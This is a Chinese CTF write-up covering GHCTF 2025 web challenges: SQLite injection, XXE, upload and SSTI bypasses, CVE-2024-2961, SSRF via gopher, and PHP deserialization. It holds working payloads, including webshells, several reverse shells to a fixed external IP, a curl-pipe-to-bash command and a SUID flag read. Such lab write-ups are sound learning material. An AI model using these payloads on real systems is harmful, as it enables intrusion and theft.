ctf萌新第一次写wp,如有错误请师傅们指出
[GHCTF 2025]SQL???
打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。
sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。
查字段数
?id=1 union select 1,2,3,4,5
查表名和列名
?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;
查询数据
?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
得到flag
官方wp
查字段数
id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
[GHCTF 2025](>﹏<)
打开是一段代码
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。
我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。
尝试在ghctf路由下post传入xml的值
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>
发现无法传入,我们尝试抓包上传
直接上传的话会报500错误,我们需要把xml的值url编码一下再上传
拿到flag
官方wp
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY nn SYSTEM "file:///flag">
]>
<user>
<name>&nn;</name>
<age>18</age>
</user>
[GHCTF 2025]UPUPUP
这个题我不会,直接看官方wp
官方wp
考点:getimagesize和exif_imagetype绕过
apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00
.htacess
#define width 1
#define height 1
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传hey.hey,content-type是image/jpeg
#define width 1
#define height 1
<?php eval($_REQUEST[1]);?>
蚁剑连接查看flag即可
[GHCTF 2025]ez_readfile
打开是一段代码
<?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>
三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符
fastcoll的用法
我们找到fastcoll文件路径,找到fastcoll.exe
我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1
然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件
直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('E:\\1_msg1.txt');
$tr->var2 = file_get_contents('E:\\1_msg2.txt');
echo urlencode($tr->var1);
echo "\n\n";
echo urlencode($tr->var2);
修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值
然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足
这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。
可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。
这里用到的知识点是CVE-2024-2961漏洞,即file_get_contents文件读取rce漏洞
我们可以利用脚本将这里的文件读取变成任意命令执行。
这里我们需要用到两个文件,通过任意文件下载获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运
行脚本即可生成php://filter/的RCE payload
maps文件路径就是/proc/self/maps,而libc-2.x.so文件的路径在maps文件里面,我们在maps文件中搜索libc-2,查看文件路径。由于直接访问so文件读出来是乱码,所以可以filter协议base64格式读取,然后cyberchef解base64编码直接下载解码文件用就可以。
这里我们需要修改三个地方,第一个是第338行的maps,把保存的maps.txt文件保存到和脚本同一目录下,改成我们本地的maps文件的名字。第二个就是cmd的值,这里是一个反弹shell的命令,我们也可以将一句话木马写入shell.php访问。第三个就是352行的so文件的名字,同样的把下载的文件放在和脚本同一目录下,修改名字,然后就可以运行了,得到payload,运行,读取flag。
官方wp(非预期解法)
阅读官方wp后我了解到这种题有一种非预期解法,那就是敏感文件读取。这里引用一下wp的原话。
有出过题的,⼤部分都是采⽤GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags 这⾥⾯的模版。⼀般出题过程中,为了⽅便,不去修改dockerfile⽂件,都会直接在容器内修改,然后再 commit⽣成镜像。 ⾥⾯的php出题模版中,有⼀个容器启动命令⽂件docker-entrypoint.sh。可以看到该命令⽂件在容器初 始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了 ⽅便可能就不删除该⽂件,这时候就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就 能够获取路径。
所以我们可以直接访问docker-entrypoint.sh文件,看一下能不能直接找到flag文件储存的位置。
这里读到了flag的储存位置,我们直接访问
成功拿到flag。
[GHCTF 2025]upload?SSTI!
打开靶机是一个文件上传页面,题目提示是ssti,所以我们开始找注入点,文件上传ssti常见注入点是文件名和文件内容。我们尝试上传t1.txt文件,文件内容是{{2*2}},发现上传成功,路径是/app/static/uploads/1.txt,但是这个路径我们好像并不能直接访问。这个题还有一个附件刚才没注意,我们下载附件查看一下发现是源码,我们看到render_template_string是ssti漏洞点,往上面找/file目录下的文件是我们要读的文件。我们读取/file/1.txt,页面回显4,确定存在ssti漏洞,但是源码中过滤了很多东西,这里我们使用过滤器来进行绕过。
1.绕过了下划线,我们利用select|string绕过
{%set xhx=({}|select()|string())[24]%}
2.过滤了os,我们利用dict拼接绕过
{%set o=dict(o=1,s=2)|join%}
3.过滤了subclasses,我们同样利用dict拼接绕过,但是ssti注入时格式是__subclasses__,所以要用到xhx绕过的下划线
{%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
4.其他同理
这样一来我们得到了一长串可以进行绕过的过滤器
{%set xhx=({}|select()|string())[24]%}
{%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
{%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
{%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
{%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
{%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
{%set pop="nepop"|reverse%}
{%set o=dict(o=1,s=2)|join%}
{{config[ini][glo][o][pop]("cat /fla*").read()}}
上传访问/file/1.txt得到flag
官方wp
官方给出的wp是利用request.args来绕过
{{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__
[GHCTF 2025]Message in a Bottle
一个留言板,刚开始以为是xss漏洞,尝试alert也确实弹窗,但是一顿操作下来发现xss漏洞无法获取flag,我们看一下附件带的源代码
from bottle import Bottle, request, template, run
app = Bottle()
# 存储留言的列表
messages = []
def handle_message(message):
message_items = "".join([f"""
<div class="message-card">
<div class="message-content">{msg}</div>
<small class="message-time">#{idx + 1} - 刚刚</small>
</div>
""" for idx, msg in enumerate(message)])
board = f"""<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>简约留言板</title>
<link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
<style>
:root {{
--primary-color: #4a90e2;
--hover-color: #357abd;
--background-color: #f8f9fa;
--card-background: #ffffff;
--shadow-color: rgba(0, 0, 0, 0.1);
}}
body {{
background: var(--background-color);
min-height: 100vh;
padding: 2rem 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}}
.container {{
max-width: 800px;
background: var(--card-background);
border-radius: 15px;
box-shadow: 0 4px 6px var(--shadow-color);
padding: 2rem;
margin-top: 2rem;
animation: fadeIn 0.5s ease-in-out;
}}
@keyframes fadeIn {{
from {{ opacity: 0; transform: translateY(20px); }}
to {{ opacity: 1; transform: translateY(0); }}
}}
.message-card {{
background: var(--card-background);
border-radius: 10px;
padding: 1.5rem;
margin: 1rem 0;
transition: all 0.3s ease;
border-left: 4px solid var(--primary-color);
box-shadow: 0 2px 4px var(--shadow-color);
}}
.message-card:hover {{
transform: translateX(10px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.message-content {{
font-size: 1.1rem;
color: #333;
line-height: 1.6;
margin-bottom: 0.5rem;
}}
.message-time {{
color: #6c757d;
font-size: 0.9rem;
display: block;
margin-top: 0.5rem;
}}
textarea {{
width: 100%;
height: 120px;
padding: 1rem;
border: 2px solid #e9ecef;
border-radius: 10px;
resize: vertical;
font-size: 1rem;
transition: border-color 0.3s ease;
}}
textarea:focus {{
border-color: var(--primary-color);
outline: none;
box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
}}
.btn-custom {{
background: var(--primary-color);
color: white;
padding: 0.8rem 2rem;
border-radius: 10px;
border: none;
transition: all 0.3s ease;
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-custom:hover {{
background: var(--hover-color);
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
h1 {{
color: var(--primary-color);
text-align: center;
margin-bottom: 2rem;
font-weight: 600;
font-size: 2.5rem;
text-shadow: 2px 2px 4px var(--shadow-color);
}}
.btn-danger {{
transition: all 0.3s ease;
padding: 0.6rem 1.5rem;
border-radius: 10px;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-danger:hover {{
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.text-muted {{
font-style: italic;
color: #6c757d !important;
}}
@media (max-width: 576px) {{
h1 {{
font-size: 2rem;
}}
.container {{
padding: 1.5rem;
}}
.message-card {{
padding: 1rem;
}}
}}
</style>
</head>
<body>
<div class="container">
<div class="d-flex justify-content-between align-items-center mb-4">
<h1 class="mb-0">📝 简约留言板</h1>
<a
href="/Clean"
class="btn btn-danger"
onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
>
🗑️ 一键清理
</a>
</div>
<form action="/submit" method="post">
<textarea
name="message"
placeholder="输入payload暴打出题人"
required
></textarea>
<div class="d-grid gap-2">
<button type="submit" class="btn-custom">发布留言</button>
</div>
</form>
<div class="message-list mt-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h4 class="mb-0">最新留言({len(message)}条)</h4>
{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
</div>
{message_items}
</div>
</div>
</body>
</html>"""
return board
def waf(message):
return message.replace("{", "").replace("}", "")
@app.route('/')
def index():
return template(handle_message(messages))
@app.route('/Clean')
def Clean():
global messages
messages = []
return '<script>window.location.href="/"</script>'
@app.route('/submit', method='POST')
def submit():
message = waf(request.forms.get('message'))
messages.append(message)
return template(handle_message(messages))
if __name__ == '__main__':
run(app, host='localhost', port=9000)
看最后就可以了,源码可以看出这是一个以bottle为模板的ssti漏洞,并且过滤了大括号。
ssti好说,过滤这个大括号就难办很多,经过多次尝试绕过无果,遂查找bottle官方文档
https://bottlepy.org/docs/dev/stpl.html#embedded-python-code
可以看到没有大括号的情况下依旧有办法执行python代码
<div>
% if True:
<span>content</span>
% end
</div>
由于if判断有一个特性:
if
语句在模板渲染时必定会执行条件表达式(无论条件真假)
也就是说只要把代码写在if后面就一定能执行写入的代码
我们导入os模块
<div>
% if __import__('os').popen('sleep 4').read():
123
% end
</div>
看到页面确实停顿了四秒,命令成功执行,我们尝试读取目录文件
<div>
% if __import__('os').popen('ls /').read():
123
% end
</div>
没有回显,只能尝试反弹shell
在自己的服务器监听6666端口
nc -lvn 6666
然后传入payload
<div>
% if __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/6666 0>&1'").read():
123
% end
</div>
服务器成功弹到shell
然后就可以读取根目录文件,找到flag
另一种解法
在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码。
这样就可以绕过 { 了,但是我们的 % 所在的那⼀⾏ % 的前面只能有空白字符,我们直接换行即可
% __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/4444 0>&1'").read()
弹到shell,读取flag
官方wp
同样是嵌入python代码,在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码,但是%所在的那一行的前面只能有空白字符,我们直接换行即可
%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()
[GHCTF 2025]GetShell
特别长一串代码,直接扔给ai,给出payload: action=run&input=xxx
input后面的内容是可以执行的,我们尝试ls /;,发现空格过滤,绕过一下
有回显,尝试cat /flag,不出意外是没有回显的,尝试反弹shell。一番操作下来直接在input写bash好像不行,那就先在input这里写一个马,然后马文件下再写反弹shell
首先在服务器终端输入
python3 -m http.server 2333
开放2333端口,使文件可以被访问,然后在靶机传入
?action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbMF0pO3BocGluZm8oKTs/Pg=="|${IFS}base64${IFS}-d>1.php
把一句话马写进1.php,访问这个文件,检查一句话木马是否能用,然后准备反弹shell
新开一个服务器终端,输入
nc -lvn 4444
开放4444端口
在1.php页面下post传入
0=system("curl http://123.56.103.169:6666/1.txt|bash");
查看服务器终端是否成功弹到shell
出现connection即为反弹成功,尝试读取flag,发现没有权限访问,我们这里进行suid提权
首先find寻找有root权限的文件
find / -perm -4000 2>/dev/null
看到wc文件,利用这个文件读flag
我们先
/var/www/html/wc --help
发现指令
/var/www/html/wc --files0-from=/flag
拿到flag
[GHCTF 2025]Goph3rrr
dirsearch扫出来源码,代码审计发现是一个ssrf漏洞
由于Manage路由下post传入cmd能在os模块中执行命令,这里就是我们要利用的点,我们先在Manage路由下抓一个post包,令cmd=env直接看环境变量
然后因为我们要利用gopher协议,所以这里准备构造post文件头
POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 cmd=env
然后在Gopher路由下抓一个get包,打gopher协议
然后这里进行url编码时要注意了,post后面的内容直接两次url编码打不通,经过大佬点拨才知道编码方式
所以先编码下划线后面的部分,再编码url=后面的部分,我们一步一步来
第一步
第二步
发送请求包,得到flag
官方wp
GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
Host: node2.anna.nssctf.cn:28301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/2010
0101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741
254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HM
ACCOUNT=CAF3E7684A636B01
Upgrade-Insecure-Requests: 1
Priority: u=0, i
不过不知道为什么官方wp我打不通
[GHCTF 2025]Popppppp
很明显的php反序列化,开始寻找链尾
一脸懵逼的找了一圈没找到平常要找的类似eval的能执行命令的地方,这个题我直接在开头卡住了
后来经过师哥提示这个题的做法是php原生类反序列化
参考文章
从文章里我们可以看到两个原生类,一个是列出目录文件类,一个是读取文件内容类,二者代码差不多,我们跟这道题来对比一下
<?php
highlight_file(__FILE__);
$dir = $_GET['x1ongsec'];
$obj = new DirectoryIterator($dir);
foreach ($obj as $file) {
echo $file->__toString() . "</br>";
}
本题关键部分源码
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
可以看到
$obj = new DirectoryIterator($dir);
foreach ($obj as $file) {
echo $file->__toString() . "</br>";
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
很明显day2=DirectoryIterator,day1=要查看的文件的路径
由于本题中day1和day2的值由array_walk的结果决定,array_walk对当前类进行遍历,所以我们要在当前类添加一个public属性,这样一来属性名就是day2,属性内容就是day1。
所以我们添加一个
public $DirectoryIterator='/';
就可以利用这个原生类来查看文件目录了
但是这样还不够,我们从链尾开始顺着网上找发现Philosopher类有一个md5弱类型比较需要绕过
fruit11经过两次md5加密需要于666弱比较相等,所以fruit11经过两次md5加密后只要以666+字母开头的形式就可以了,直接丢给ai让他写脚本,然后我们在纯数字里寻找因为这样找的快,很快跑出来213符合条件,我们令fruit11=213,剩下的链子就很清晰了
payload
运行提交
找到flag存在的文件,我们用另一个原生类读取,用法也很简单
把DirectoryIterator改成SplFileObject即可,提交payload
拿到flag
转载自CSDN-专业IT技术社区
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/Python1111111/article/details/146158318